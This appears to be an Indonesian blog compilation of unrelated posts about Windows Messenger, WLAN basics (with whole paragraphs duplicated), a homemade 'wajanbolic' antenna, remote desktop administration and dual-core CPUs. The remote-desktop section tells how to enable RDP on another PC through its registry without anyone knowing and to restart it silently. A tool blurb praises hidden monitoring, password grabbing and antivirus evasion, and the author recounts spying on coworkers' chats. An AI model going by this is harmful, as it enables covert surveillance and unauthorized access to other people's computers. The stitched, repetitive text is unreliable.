|
Unrated |
Posted in | Comments | Trackback
Bagaimana Cara Menonaktifkan Windows Messenger?
Posted On at at 12:31 PM by Me
Windows Messenger seringkali mengganggu anda ketika anda sedang menginstall ulang Windows, ataupun bagi anda yang memiliki komputer dengan spesifikasi rendah, dan memory rendah, dan ingin memberikan tempat kosong untuk memory anda.
Masalahnya, mematikan Windows Messenger lewat MSCONFIG tidak akan manjur. Salah satu cara untuk mematikan Windows Messenger adalah masuk pada bagian "TOOLS | PREFERENCES", kemudian, unheck dua pilihan teratas seperti gambar di bawah ini
Setelah itu, periksa kembali Task Manager, seharusnya, tulisan "MSMSGS" akan hilang dari task manager, jika tidak, end task manual proses tersebut.
Semoga membantu anda yang sedang krisis memory ataupun tidak ingin melihat Windows Messenger lagi.
Wireless LAN
1. Pengantar Jaringan Wireless LAN ( Jaringan lokal tanpa kabel )
Kita telah mengetahui dan mengenal tentang Local Area Network (LAN), dimana ia
merupakan jaringan yang terbentuk dari gabungan beberapa komputer yang
tersambung melalui saluran fisik (kabel). Seiring dengan perkembangan teknologi
serta kebutuhan untuk akses jaringan yang mobile (bergerak) yang tidak
membutuhkan kabel sebagai media tranmisinya, maka muncullah Wireless Local Area
Network (Wireless LAN/WLAN).
Jaringan lokal tanpa kabel atau WLAN adalah suatu jaringan area lokal tanpa
kabel dimana media transmisinya menggunakan frekuensi radio (RF) dan infrared
(IR), untuk memberi sebuah koneksi jaringan ke seluruh pengguna dalam area
disekitarnya. Area jangkauannya dapat berjarak dari ruangan kelas ke seluruh
kampus atau dari kantor ke kantor yang lain dan berlainan gedung. Peranti yang
umumnya digunakan untuk jaringan WLAN termasuk di dalamnya adalah PC, Laptop,
PDA, telepon seluler, dan lain sebagainya. Teknologi WLAN ini memiliki kegunaan
yang sangat banyak. Contohnya, pengguna mobile bisa menggunakan telepon seluler
mereka untuk mengakses e-mail. Sementara itu para pelancong dengan laptopnya
bisa terhubung ke internet ketika mereka sedang di bandara, kafe, kereta api
dan tempat publik lainnya.
Spesifikasi yang digunakan dalam WLAN adalah 802.11 dari IEEE dimana ini juga
sering disebut dengan WiFi (Wireless Fidelity) standar yang berhubungan dengan
kecepatan akses data. Ada beberapa jenis spesifikasi dari 802,11 yaitu 802.11b,
802.11g, 802.11a, dan 802.11n
# Sejarah Wireless LAN
Pada akhir 1970-an IBM mengeluarkan hasil percobaan mereka dalam merancang WLAN
dengan teknologi IR, perusahaan lain seperti Hewlett-Packard (HP) menguji WLAN
dengan RF. Kedua perusahaan tersebut hanya mencapai data rate 100 Kbps.
Karena tidak memenuhi standar IEEE 802 untuk LAN yaitu 1 Mbps maka produknya
tidak dipasarkan. Baru pada tahun 1985, (FCC) menetapkan pita Industrial,
Scientific and Medical (ISM band) yaitu 902-928 MHz, 2400-2483.5 MHz dan
5725-5850 MHz yang bersifat tidak terlisensi, sehingga pengembangan WLAN secara
komersial memasuki tahapan serius. Barulah pada tahun 1990 WLAN dapat
dipasarkan dengan produk yang menggunakan teknik spread spectrum (SS) pada pita
ISM, frekuensi terlisensi 18-19 GHz dan teknologi IR dengan data rate >1
Mbps.
Pada tahun 1997, sebuah lembaga independen bernama IEEE membuat
spesifikasi/standar WLAN pertama yang diberi kode 802.11. Peralatan yang sesuai
standar 802.11 dapat bekerja pada frekuensi 2,4GHz, dan kecepatan transfer data
(throughput) teoritis maksimal 2Mbps.
Pada bulan Juli 1999, IEEE kembali mengeluarkan spesifikasi baru bernama
802.11b. Kecepatan transfer data teoritis maksimal yang dapat dicapai adalah 11
Mbps. Kecepatan tranfer data sebesar ini sebanding dengan Ethernet tradisional
(IEEE 802.3 10Mbps atau 10Base-T). Peralatan yang menggunakan standar 802.11b
juga bekerja pada frekuensi 2,4Ghz. Salah satu kekurangan peralatan wireless
yang bekerja pada frekuensi ini adalah kemungkinan terjadinya interferensi
dengan cordless phone, microwave oven, atau peralatan lain yang menggunakan
gelombang radio pada frekuensi sama.
Pada saat hampir bersamaan, IEEE membuat spesifikasi 802.11a yang menggunakan
teknik berbeda. Frekuensi yang digunakan 5Ghz, dan mendukung kecepatan transfer
data teoritis maksimal sampai 54Mbps. Gelombang radio yang dipancarkan oleh
peralatan 802.11a relatif sukar menembus dinding atau penghalang lainnya. Jarak
jangkau gelombang radio relatif lebih pendek dibandingkan 802.11b. Secara teknis,
802.11b tidak kompatibel dengan 802.11a. Namun saat ini cukup banyak pabrik
hardware yang membuat peralatan yang mendukung kedua standar tersebut.
Pada tahun 2002, IEEE membuat spesifikasi baru yang dapat menggabungkan
kelebihan 802.11b dan 802.11a. Spesifikasi yang diberi kode 802.11g ini bekerja
pada frekuensi 2,4Ghz dengan kecepatan transfer data teoritis maksimal 54Mbps.
Peralatan 802.11g kompatibel dengan 802.11b, sehingga dapat saling
dipertukarkan. Misalkan saja sebuah komputer yang menggunakan kartu jaringan
802.11g dapat memanfaatkan access point 802.11b, dan sebaliknya.
Pada tahun 2006, 802.11n dikembangkan dengan menggabungkan teknologi 802.11b,
802.11g. Teknologi yang diusung dikenal dengan istilah MIMO (Multiple Input
Multiple Output) merupakan teknologi Wi-Fi terbaru. MIMO dibuat berdasarkan
spesifikasi Pre-802.11n. Kata ”Pre-” menyatakan “Prestandard versions of
802.11n”. MIMO menawarkan peningkatan throughput, keunggulan reabilitas, dan
peningkatan jumlah klien yg terkoneksi. Daya tembus MIMO terhadap penghalang
lebih baik, selain itu jangkauannya lebih luas sehingga Anda dapat menempatkan
laptop atau klien Wi-Fi sesuka hati. Access Point MIMO dapat menjangkau
berbagai perlatan Wi-Fi yg ada disetiap sudut ruangan. Secara teknis MIMO lebih
unggul dibandingkan saudara tuanya 802.11a/b/g. Access Point MIMO dapat
mengenali gelombang radio yang dipancarkan oleh adapter Wi-Fi 802.11a/b/g. MIMO
mendukung kompatibilitas mundur dengan 802.11 a/b/g. Peralatan Wi-Fi MIMO dapat
menghasilkan kecepatan transfer data sebesar 108Mbps.
Pada saat hampir bersamaan, IEEE membuat spesifikasi 802.11a yang menggunakan
teknik berbeda. Frekuensi yang digunakan 5Ghz, dan mendukung kecepatan transfer
data teoritis maksimal sampai 54Mbps. Gelombang radio yang dipancarkan oleh
peralatan 802.11a relatif sukar menembus dinding atau penghalang lainnya. Jarak
jangkau gelombang radio relatif lebih pendek dibandingkan 802.11b. Secara
teknis, 802.11b tidak kompatibel dengan 802.11a. Namun saat ini cukup banyak
pabrik hardware yang membuat peralatan yang mendukung kedua standar tersebut.
Pada tahun 2002, IEEE membuat spesifikasi baru yang dapat menggabungkan
kelebihan 802.11b dan 802.11a. Spesifikasi yang diberi kode 802.11g ini bekerja
pada frekuensi 2,4Ghz dengan kecepatan transfer data teoritis maksimal 54Mbps.
Peralatan 802.11g kompatibel dengan 802.11b, sehingga dapat saling
dipertukarkan. Misalkan saja sebuah komputer yang menggunakan kartu jaringan
802.11g dapat memanfaatkan access point 802.11b, dan sebaliknya.
Pada tahun 2006, 802.11n dikembangkan dengan menggabungkan teknologi 802.11b,
802.11g. Teknologi yang diusung dikenal dengan istilah MIMO (Multiple Input
Multiple Output) merupakan teknologi Wi-Fi terbaru. MIMO dibuat berdasarkan
spesifikasi Pre-802.11n. Kata ”Pre-” menyatakan “Prestandard versions of
802.11n”. MIMO menawarkan peningkatan throughput, keunggulan reabilitas, dan
peningkatan jumlah klien yg terkoneksi. Daya tembus MIMO terhadap penghalang
lebih baik, selain itu jangkauannya lebih luas sehingga Anda dapat menempatkan
laptop atau klien Wi-Fi sesuka hati. Access Point MIMO dapat menjangkau
berbagai perlatan Wi-Fi yg ada disetiap sudut ruangan. Secara teknis MIMO lebih
unggul dibandingkan saudara tuanya 802.11a/b/g. Access Point MIMO dapat
mengenali gelombang radio yang dipancarkan oleh adapter Wi-Fi 802.11a/b/g. MIMO
mendukung kompatibilitas mundur dengan 802.11 a/b/g. Peralatan Wi-Fi MIMO dapat
menghasilkan kecepatan transfer data sebesar 108Mbp.
# Media Transmisi WLAN
1. Frekuensi Radio ( RF)
Penggunaan RF tidak asing lagi bagi kita, contoh penggunaannya adalah pada
stasiun radio, stasiun TV, telepon cordless dll. RF selalu dihadapi oleh
masalah spektrum yang terbatas, sehingga harus dipertimbangkan cara
memanfaatkan spektrum secara efisien. WLAN menggunakan RF sebagai media
transmisi karena jangkauannya jauh, dapat menembus tembok, mendukung mobilitas
yang tinggi, meng-cover daerah jauh lebih baik dari IR dan dapat digunakan di
luar ruangan. WLAN, di sini, menggunakan pita ISM (Tabel 2) dan memanfaatkan
teknik spread spectrum (DS atau FH).
* DS adalah teknik yang memodulasi sinyal informasi secara langsung dengan
kode-kode tertentu (deretan kode Pseudonoise/PN dengan satuan chip).
* FH adalah teknik yang memodulasi sinyal informasi dengan frekuensi yang
loncat-loncat (tidak konstan). Frekuensi yang berubah-ubah ini dipilih oleh
kode-kode tertentu (PN)
3.
2. Infrared (IR)
Infrared banyak digunakan pada komunikasi jarak dekat, contoh paling umum
pemakaian IR adalah remote control (untuk televisi). Gelombang IR mudah dibuat,
harganya murah, lebih bersifat directional, tidak dapat menembus tembok atau
benda gelap, memiliki fluktuasi daya tinggi dan dapat diinterferensi oleh cahaya
matahari. Pengirim dan penerima IR menggunakan Light Emitting Diode (LED) dan
Photo Sensitive Diode (PSD). WLAN menggunakan IR sebagai media transmisi karena
IR dapat menawarkan data rate tinggi (100-an Mbps), konsumsi dayanya kecil dan
harganya murah. WLAN dengan IR memiliki tiga macam teknik, yaitu Directed Beam
IR (DBIR), Diffused IR (DFIR) dan Quasi Diffused IR (QDIR).
* DFIR
Teknik ini memanfaatkan komunikasi melalui pantulan. Keunggulannya adalah tidak
memerlukan Line Of Sight (LOS) antara pengirim dan penerima dan menciptakan
portabelitas terminal. Kelemahannya adalah membutuhkan daya yang tinggi, data
rate dibatasi oleh multipath, berbahaya untuk mata telanjang dan resiko
interferensi pada keadaan simultan adalah tinggi.
*
DBIR
Teknik ini menggunakan prinsip LOS, sehingga arah radiasinya harus diatur.
Keunggulannya adalah konsumsi daya rendah, data rate tinggi dan tidak ada
multipath. Kelemahannya adalah terminalnya harus fixed dan komunikasinya harus
LOS.
*
QDIR
Setiap terminal berkomunikasi dengan pemantul, sehingga pola radiasi harus
terarah. QDIR terletak antara DFIR dan DBIR (konsumsi daya lebih kecil dari
DFIR dan jangkaunnya lebih jauh dari DBIR).
WLAN dengan RF memiki beberapa topologi sebagai berikut :
1. Tersentralisasi
Nama lainnya adalah star network atau hub based. Topologi ini terdiri dari
server (c) dan beberapa terminal pengguna, di mana komunikasi antara terminal
harus melalui server terlebih dahulu. Keunggulannya adalah daerah cakupan luas,
transmisi relatif efisien dan desain terminal pengguna cukup sederhana karena
kerumitan ada pada server. Kelemahannya adalah delay-nya besar dan jika server
rusak maka jaringan tidak dapat bekerja.
Gambar : Topologi Bintang pada WLAN
2.
Terdistribusi
Dapat disebut peer to peer, di mana semua terminal dapat berkomunikasi satu
sama lain tanpa memerlukan pengontrol (servers). Di sini, server diperlukan
untuk mengoneksi WLAN ke LAN lain. Topologi ini dapat mendukung operasi mobile
dan merupakan solusi ideal untuk jaringan ad hoc. Keunggulannya jika salah satu
terminal rusak maka jaringan tetap berfungsi, delay-nya kecil dan kompleksitas
perencanaan cukup minim. Kelemahannya adalah tidak memiliki unit pengontrol
jaringan (kontrol daya, akses dan timing).
Gambar : Topologi peer to peer
3.
Jaringan selular
Jaringan ini cocok untuk melayani daerah dengan cakupan luas dan operasi
mobile. Jaringan ini memanfaatkan konsep microcell, teknik frequency reuse dan
teknik handover. Keunggulannya adalah dapat menggabungkan keunggulan dan
menghapus kelemahan dari ke dua topologi di atas. Kelemahannya adalah memiliki
kompleksitas perencanaan yang tinggi.
Gambar : Topologi jaringan seluler
Komponen Wireless LAN
1. Access Point (AP)
Pada WLAN, alat untuk mentransmisikan data disebut dengan Access Point dan terhubung
dengan jaringan LAN melalui kabel. Fungsi dari AP adalah mengirim dan menerima
data, sebagai buffer data antara WLAN dengan Wired LAN, mengkonversi sinyal
frekuensi radio (RF) menjadi sinyal digital yang akan disalukan melalui kabel
atau disalurkan keperangkat WLAN yang lain dengan dikonversi ulang menjadi
sinyal frekuensi radio.
Satu AP dapat melayani sejumlah user sampai 30 user. Karena dengan semakin
banyaknya user yang terhubung ke AP maka kecepatan yang diperoleh tiap user
juga akan semakin berkurang. Ini beberapa contoh produk AP dari beberapa
vendor.
Gambar : Access Point dari produk Linksys, Symaster, Dlink
2. Extension Point
Untuk mengatasi berbagai problem khusus dalam topologi jaringan, designer dapat
menambahkan extension point untuk memperluas cakupan jaringan. Extension point
hanya berfungsi layaknya repeater untuk client di tempat yang lebih jauh.
Syarat agar antara akses point bisa berkomunikasi satu dengan yang lain, yaitu
setting channel di masing-masing AP harus sama. Selain itu SSID (Service Set
Identifier) yang digunakan juga harus sama. Dalam praktek dilapangan biasanya
untuk aplikasi extension point hendaknya dilakukan dengan menggunakan merk AP
yang sama.
Gambar : Jaringan menggunakan Extension Point
3. Antena
Antena merupakan alat untuk mentransformasikan sinyal radio yang merambat pada
sebuah konduktor menjadi gelombang elektromagnetik yang merambat diudara.
Antena memiliki sifat resonansi, sehingga antena akan beroperasi pada daerah
tertentu.
1. Antena omnidirectional
Yaitu jenis antena yang memiliki pola pancaran sinyal kesegala arah dengan daya
yang sama. Untuk menghasilkan cakupan area yang luas, gain dari antena omni
directional harus memfokuskan dayanya secara horizontal (mendatar), dengan
mengabaikan pola pemancaran ke atas dan kebawah, sehingga antena dapat
diletakkan ditengah-tengah base station. Dengan demikian keuntungan dari antena
jenis ini adalah dapat melayani jumlah pengguna yang lebih banyak. Namun,
kesulitannya adalah pada pengalokasian frekuensi untuk setiap sel agar tidak
terjadi interferensi.
Gambar : Jangkauan area Antena omnidirectional
2. Antena directional
Yaitu antena yang mempunyai pola pemancaran sinyal dengan satu arah tertentu.
Antena ini idealnya digunakan sebagai penghubung antar gedung atau untuk daerah
yang mempunyai konfigurasi cakupan area yang kecil seperti pada lorong-lorong
yang panjang.
4. Wireless LAN Card
WLAN Card dapat berupa PCMCIA (Personal Computer Memory Card International
Association), ISA Card, USB Card atau Ethernet Card. PCMCIA digunakan untuk
notebook, sedangkan yang lainnya digunakan pada komputer desktop. WLAN Card ini
berfungsi sebagai interface antara system operasi jaringan client dengan format
interface udara ke AP. Khusus notebook yang keluaran terbaru maka WLAN Cardnya
sudah menyatu didalamnya. Sehingga tidak keliatan dari luar.
Bikin Antenna Wireless 2.4 GHz WajanBolic
Solusi Antenna Wireless murah
LATAR BELAKANG
· Untuk meningkatkan jarak jangkauan wireless LAN diperlukan antena
eksternal dengan gain yang lebih tinggi dari antenna standard
· Antena eksternal High Gain harganya relative mahal
· Banyak barang-barang yang sering dijumpai dalam kehidupan sehari-hari
yang dapat digunakan untuk membuat antenna High Gain dengan cara
mudah dan biaya ringan
TUJUAN
· Sharing pengetahuan/ pengalaman dalam hal pembuatan homebrew
antenna khususnya Antenna WajanBolic dan hal-hal seputar Wireless
Network
RUANG LINGKUP
Dalam Workshop ini akan dibuat Antena WajanBolic dengan N Connector dan Pigtail
SEKILAS WIRELESS/ WiFi
WiFi (Wireless Fidelity) adalah istilah generik untuk peralatan Wireless Lan atau WLAN. Biasa menggunakan keluarga standar IEEE 802.11. Oleh karena itu didukung banyak vendor.
STANDAR PROTOKOL
Peralatan wireless yang biasa digunakan adalah menggunakan standar IEEE 802.11x, dimana x adalah sub dari:
|
IEEE 802.11 IEEE 802.11a IEEE 802.11a 2X IEEE 802.11b IEEE 802.11b+ IEEE 802.11g |
2.4GHz 5GHz 5GHz 2.4GHz 2.4GHz 2.4GHz |
2 Mbps 54 Mbps 108 Mbps 11 Mbps 22 Mbps 54 Mbps |
DASAR HUKUM
Keputusan Mentri No.2 Tahun 2005 tentang penggunaan pita frekuensi 2400-2483.5MHz yang ditandatangani pada tanggal 5 januari 2005 aleh Mentri Perhubungan M. Hatta Rajasa.
Beberapa hal yang penting dari Keputusan Mentri No.2 Tahun 2005 adalah Anda tidak memerlukan izin stasiun radio dari pemerintah untuk menjalankan peralatan internet pada frekuensi 2.4GHz, tetapi dibatasi dengan:
1. Maksimum daya pemancar ada 100mW (20dBm).
2. Maksimun Effective Isotropic Radiated Power/ EIRP di antenna adalah 36dBm
3. Semua peralatan yang digunakan harus di-approve/ disertifikasi oleh POSTEL
Antena WajanBolic
Kenapa disebut WajanBolic?
· Wajan : penggorengan, alat dapur buat masak
· Bolic : parabolic
· WajanBolic : Antena parabolic yg dibuat dari wajan
Karena berasal dari wajan maka kesempurnaannya tidak sebanding dg antenna
parabolic yg sesungguhnya.
Dalam workshop akan dibuat Antena WajanBolic dengan N Connector dan Pigtail
dengan pertimbangan :
Beberapa kekurangan antenna WajanBolic :
· Karena berupa solid dish maka pengaruh angin cukup besar sehingga
memerlukan mounting ke tower yang cukup kuat
ANTENA 2.4 GHz
Beberapa Contoh Design Antena 2.4 GHz
Kebanyakan antenna homebrew wifi yg ada di internet : antenna yagi, antenna kaleng (tincan antenna), antenna biquad, antenna helix, antenna slotted waveguide. Komponen yg selalu ada dlm design antenna-antena tsb : N-type Connector & pigtail
Konektor : N-type Male, N-type Female, RP TNC Male, RP TNC Female, Pigtail
Ok..!! kita langsung saja ke pembuatan WajanBolic
Persiapan
Peralatan dan bahan yang perlu di siapkan:
BAHAN
- Wajan diameter 36” (semakin besar diametr semakin bagus)
- PVC paralon tipis diameter 3” 1 meter
- Doff 3” (tutup PVC paralon) 2 buah
- Aluminium foil
- Baut + mur ukuran 12 atau 14
- N Connector female
- kawat tembaga no.3
- Double tape + lakban
PERALATAN
- Penggaris
- Pisau/ Cutter
- Solder + timah nya
- Gergaji besi

PERKIRAAN HARGA
Perkiraan harga yang dikeluarkan untuk membeli bahan WajanBolic adalah kurang dari Rp 100.000,-. Bandingkan jikan Anda harus membeli antenna Grid 24db, yang bikinan local saja mencapai Rp 500.000,- lebih dan yang import bisa mencapai Rp 1.000.000,- lebih. Atau membeli antenna grid local yang harga nya Rp 200.000,- sedangkan yang import bisa mencapai Rp 300.000 lebih.
TAHAP PENGERJAAN
- Siapkan semua bahan dan peralatan yang dibutuhkan.
- Lubangi wajan tepat di tengah wajan tersebut seukuran baut 12 atau 14, cukup satu lubang saja.
Kemudia, ukur diametr wajan, kedalaman wajan dan feeder/ titik focus. Untuk lebih jelas nya silahkan liat gambar di bawah.
Contoh :
Parabolic dish dg D = 70 cm, d = 20 cm maka jarak titik focus dari center dish : F = D^2/(16*d) = 70^2 / (16*20) = 15.3 cm
Pada titik focus tsb dipasang ujung feeder. Untuk mendapatkan gain maksimum.
- Potong PVC paralon sepanjang 30 cm, kemudian beri tanda untuk jarak feeder nya (daerah bebas aluminium foil). Untuk menentukan panjang feeder nya gunakan rumus di atas.
- Beri lubang pada bagian paralon untuk meletakkan N Connector, untuk itu gunakan rumus antenna kaleng. Bias di lihat di http://www.saunalahti.fi/elepal/antenna2calc.php
- Potong kawat tembaga yang sudah disiapkan sesuai dengan ukuran yang didapatkan dari hasil kalkulasi website di atas. Dan solderkan pada N Connector yang telah di siapkan.
- Selanjut nya, bungkus PVC paralon dengan dgn aluminium foil pada daerah selain feeder, klo aluminium foil yang ada tanpa perekat, maka untuk merekatkan nya bisa menggunakan double tape.
- Lalu pasangkan N connector ke PVC Paralon yang telah dilubangi td.
- Pada bagian doff (tutup PVC paralon) yang akan di pasang pada ujung dekat dengan N Connector harus di beri aluminium foil, sedangkan doff yang di pasang pada wajan tidak perlu di beri aluminium foil
- Dan pasangkan doff tersebut ke PVC paralon
- Kemudian, wajan yang telah di bolongi tadi dipasangkan dengan doff yang satu nya lagi, sebelum nya doff tersebut dilubangi sesuai dengan ukuran bautyang sudah di siapkan, dan kencangkan secukup nya.
- Kemudian tinggal pasangkan PVC paralon tadi ke wajan yang sudah di pasang doff.
- Dan Wajan bolic sudah siap untuk digunakan browsing, atau paling tidak untuk wardriving.
Tags: wajan bolic
Prev: kultum(kuliah tujumenit)
Next: jual wajan
bolic
Mengendalikan komputer jarak jauh menggunakan Remote Desktop Connection
Mei 30, 2007 oleh mashaki
Di dunia jaringan komputer, dan bila Anda termasuk seorang network administrator, tak lengkap rasanya bila tidak mempunyai ‘kuasa’ yang berlebih di network Anda. Lha gimana nggak, namanya aja admin, masa kekuasaannya ya segitu-segitu aja. Nggak seru donks.
Berikut ada salah satu cerita dan trik untuk menerapkan pangkat Anda sebagai real administrator di jaringan Anda.
Alangkah senangnya jika kita sebagai network administrator, juga bisa mempunyai kekuasaan untuk mengendalikan komputer klien-klien kita. Salah satu cara mengendalikan komputer klien secara murah meriah adalah menggunaan Remote Desktop Connection.
Remote Desktop Connection ( RDC ) dapat kita temukan di menu Start >
Program > Accessories > Communication atau jika kita sudah mengupdate
Windows kita dengan RDC Terminal Client versi 6, program ini bisa kita temukan
di Start > Program > Accessories. Lho kenapa koq murah meriah? Iya,
soalnya program ini
Setelah semua syarat terpenuhi, kita bisa mulai melakukan remote desktop dengan menjalankan program RDC di Start > Program > Accessories > Communication > Remote Desktop Connectio n. isikan nomor IP atau nama komputer tujuan Anda di isian Computer, lalu klik Connect. Jika tidak ada masalah, Anda seharusnnya langsung bisa terhubung ke komputer tujuan.
Nah, kalau kondisinya ideal seperti itu, nggak masalah. Artinya, kita sempat
bisa melakukan akses langsung ke mesin komputer tujuan. Nah, jika komputer
tujuan ada di tempat yang jauh, apa kita lantas datang kesana. Oke lah, kita
mungkin bisa menyuruh seseorang untuk mengaktifkan pilihan ini. Tapi, kalau
kita mampu mengaktifkannya sendiri, kenapa nggak. Lagian dengan menyuruh
seseorang, kebijakan kita sebagai seorang admin sedikit banyak bisa diketahui
orang lain, paling tidak ya orang yang kita suruh tadi. Nah, berabe
Kita bisa mengaktifkan centang Allow users to connect remotely to this computer yang mengizinkan kita melakukan RDC secara remote. Lhoo, gimana caranya, wong RDC aja belum bisa? Apa pake VNC? Wah, nggak lah yauw. Kita usahakan kali ini hanya menggunakan utilitas-utilitas murni bawaan Windows. Lha terus gimana donks?
Kita tahu, semua yang berjalan di Windows pasti dikendalikan dari sistem database terpusatnya di suatu tempat yang dinamakan registri. Windows memungkinkan kita melakukan remote registri dari komputer kita ke komputer lain ( tentunya dengan catatan, servis remote registrinya aktif. Servis ini biasanya mempunyai nilai default Started dan berjalan secara Automatic ). Dengan kemampuan ini, kita bisa melakukan remote registri ke komputer tujuan untuk mengaktifkan izin melakukan RDC tadi.
Pertama, kita masuk ke registri melalui Start > Run > Regedit. Setelah jendela Registry Editor terbuka, klik menu File > Connect Network Registry. Pada isian Enter the object name to select ( example ), isikan nomor IP atau nama komputer tujuan Anda lalu klik OK. Registri komputer tujuan akan dibuka oleh Registry Editor. Komputer tujuan biasanya muncul di bagian paling bawah tree Registry Editor, ditandai dengan gambar komputer diikuti nomor IP atau nama IP komputer tujuan. Registri untuk komputer lokal kita sendiri ditandai dengan gambar komputer diikuti keterangan My Computer. Jadi, jangan sampai salah melakukan perubahan registri.
Kini saatnya showtime:D Kita masuk ke registri komputer tujuan, menuju bagian HKEY_LOCAL_MACHINE > SYSTEM > CurrentControlSet > Control > Terminal Server. Ubah nilai key fDenyTSConnection menjadi 0 ( nol ) dengan mengklik ganda key tersebut kemudian pada isian Value Data, ubah nilainya menjadi 0 ( nol ). Setelah perubahan kita lakukan, tutup Registry Editor.
Masalahnya, ( menurut pengalaman ), kadang walau kita sudah mengaktifkan izin melakukan RDC ini, komputer tujuan meminta dilakukan restart komputer. Kita bisa jadi tidak tahu, karena notifikasi permintaan reboot pasti akan ditampilkan di terminal ( layar ) komputer tujuan. Untuk lebih amannya, sebaiknya komputer tujuan kita restart juga. Lha bagaimana caranya, apa lewat registri juga? Nggak lah, kita bisa merestart komputer tujuan tanpa kita ngomong pada seseorang dan tanpa beranjak dari meja kendali kita. Caranya cukup gampang, masuk ke Start > Programs > Accessories > Command Prompt. Masukkan perintah ‘shutdown –i’. Akan ditampilkan kotak dialog Remote Shutdown Dialog. Masukkan nomor IP atau nama komputer tujuan, pilih opsi yang akan dilakukan ( dalam hal ini restart ) pada menu pilihan What do you want these computer to do. Jika Anda tidak ingin memberikan peringatan pada user yang aktif di komputer remote, Anda bisa membuang tanda centang Warn users of this action. Jika layanan Shutdown Event Tracker di komputer tujuan diaktifkan, masukkan alasan kita melakukan restart. Pilih aja salah satu secara acak ( saya biasanya milih Application : Maintenance ( Planned ) ) untuk mengaktifkan tombol OK di bawah, kemudian klik OK. Komputer tujuan akan segera di-restart.
Tunggu beberapa saat. Jika Anda termasuk orang tidak sabaran seperti saya,
ping aja komputer tujuan. Jika komputer tujuan sudah memberikan reply, berarti
komputer tujuan sudah aktif. Dan kini Anda pun bisa melakukan RDC dengan
nyaman, he he he ![]()

Remote-Anything adalah software remote PC yang paling asyik! ini beberapa kemampuan yang bisa dilakukan PC Master terhadap PC Slave
- Nyalain-matiin PC secara remote
- Kontrol penuh terhadap keyboard dan mouse
- Layar PC Slave bisa ditampilkan secara live di monitor PC Master
- Akses data/file tanpa diketahui termasuk copy paste dari dan ke PC Slave
- Merekam semua aktifitas PC Slave
- Mengambil password (bila PC Slave win 98)
- Ukuran file software kecil dan tidak terdeteksi oleh program antivirus
- Bisa dihidden sehingga komputer target tidak tahu kalau sedang dimonitor
- Dan masih banyak lagi
…sst ini sebenernya tool bagi para administrator jaringan, sangat berbahaya kalau digunakan oleh orang yang tidak berhak.
Saya menggunakan tool ini dulu banget, pada saat baru mengenal jaringan LAN
di kantor. Hasilnya saya bisa tahu siapa-siapa aja yang suka chating jam kerja
dan apa yang mereka bicarakan. Juga berhasil membuat sebuah PC dianggap
berhantu karena bisa chating sendiri tanpa ada orangnya.
Bener ini contoh tidak baik ![]()
Jadi kalau Anda bukan administrator jaringan atau orang yang tidak berhak, jangan lakukan!!!
Ingat itu melanggar UU ITE. he…..he…
Pasal 30
(1) Setiap Orang dengan sengaja dan tanpa hak atau melawan hukum mengakses
Komputer dan/atau
Sistem Elektronik milik Orang lain dengan cara apa pun.
(2) Setiap Orang dengan sengaja dan tanpa hak atau melawan hukum mengakses
Komputer dan/atau
Sistem Elektronik dengan cara apa pun dengan tujuan untuk memperoleh Informasi
Elektronik dan/atau
Dokumen Elektronik.
(3) Setiap Orang dengan sengaja dan tanpa hak atau melawan hukum mengakses
Komputer dan/atau
Sistem Elektronik dengan cara apa pun dengan melanggar, menerobos, melampaui,
atau menjebol
sistem pengamanan.
Pasal 31
(1) Setiap Orang dengan sengaja dan tanpa hak atau melawan hukum melakukan
intersepsi atau
penyadapan atas Informasi Elektronik dan/atau Dokumen Elektronik dalam suatu
Komputer dan/atau
Sistem Elektronik tertentu milik Orang lain.
|
Pembuatan Antena Wajan Bolic
Material : |
Dual Core adalah penggunaan dua buah inti (core) prosesor dalam sebuah kemasan prosesor konvensional. Dual core (inti prosesor) ditempatkan pada sebuah CPU untuk meningkatkan kinerjanya. Setiap core ini tidak lebih cepat dibanding CPU biasa dengan clockspeed yang sama, tetapi semua proses perhitungan dibagi kepada 2 inti prosesor tersebut.
Logikanya, menggunakan prosesor multi-core akan mempercepat perhitungan algoritma yang dikerjakan sebuah sistem PC. Diibaratkan, berpikir sebuah pekerjaan dengan menggunakan dua otak, tentunya pekerjaan itu akan lebih cepat selesai. Produsen prosesor terkemuka di dunia (Intel dan AMD), mengembangkan teknologi dual core ini karena tuntutan aplikasi-aplikasi yang semakin tinggi atas prosesor yang memiliki tingkat komputasi yang tinggi. Karena pengembangan prosesor dengan menggunakan satu inti sudah mulai stagnan, maka mulai dikembangkan prosesor yang memiliki inti prosesor lebih dari satu.
Intel Core 2 Duo
Intel Core 2 Duo adalah sebuah mikroprosesor yang dirilis oleh Intel Corporation pada tanggal 27 Juli 2006. Pada saat pengembangannya, prosesor ini memiliki nama kode Conroe dan Allendale.
Berikut adalah beberapa codenamed dari core processor yang terdapat pada produk processor Intel Core 2, tentunya codenamed tersebut mempunyai perbedaan antara satu dengan yang lainnya.
CONROE
Core processor dari Intel Core 2 Duo yang pertama diberi kode nama Conroe. Processor ini dibangun dengan menggunakan teknologi 65 nm dan ditujukan untuk penggunaan desktop menggantikan jajaran Pentium 4 dan Pentium D. Bahkan pihak Intel mengklaim bahwa Conroe mempunyai performa 40% lebih baik dibandingkan dengan Pentium D yang tentunya sudah menggunakan dual core juga. Core 2 Duo hanya membutuhkan daya yang lebih kecil 40% dibandingkan dengan Pentium D untuk menghasilkan performa yang sudah disebutkan di atas.
Processor yang sudah menggunakan core Conroe diberi label dengan “E6×00”. Beberapa jenis Conroe yang sudah beredar di pasaran adalah tipe E6300 dengan clock speed sebesar1.86 GHz, tipe E6400 dengan clock speed sebesar 2.13 GHz, tipe E6600 dengan clock speed sebesar 2.4 GHz, dan tipe E6700 dengan clock speed sebesar 2.67 GHz. Untuk processor dengan tipe E6300 dan E6400 mempunyai Shared L2 Cache sebesar 2 MB, sedangkan tipe yang lainnya mempunyai L2 cache sebesar 4 MB. Jajaran dari processor ini memiliki FSB (Front Side BUS) sebesar 1066 MT/s (Megatransfer) dan daya yang dibutuhkan hanya sebesar 65 Watt TDP (Thermal Design Power).
CONROE XE
Core processor berikutnya adalah Conroe XE yang saat ini banyak menjadi bahan perbincangan. Conroe XE sendiri adalah core processor dari Intel Core 2 Extreme yang diluncurkan bersamaan dengan Intel Core 2 Duo pada 27 Juli 2006. Conroe XE mempunyai tenaga lebih dibandingkan dengan Conroe. Tipe pertama dan satusatunya yang dikeluarkan oleh Intel untuk jajaran processor Core 2 Extreme adalah X6800 dan sudah beredar di pasaran saat ini meskipun jumlahnya sangat terbatas.
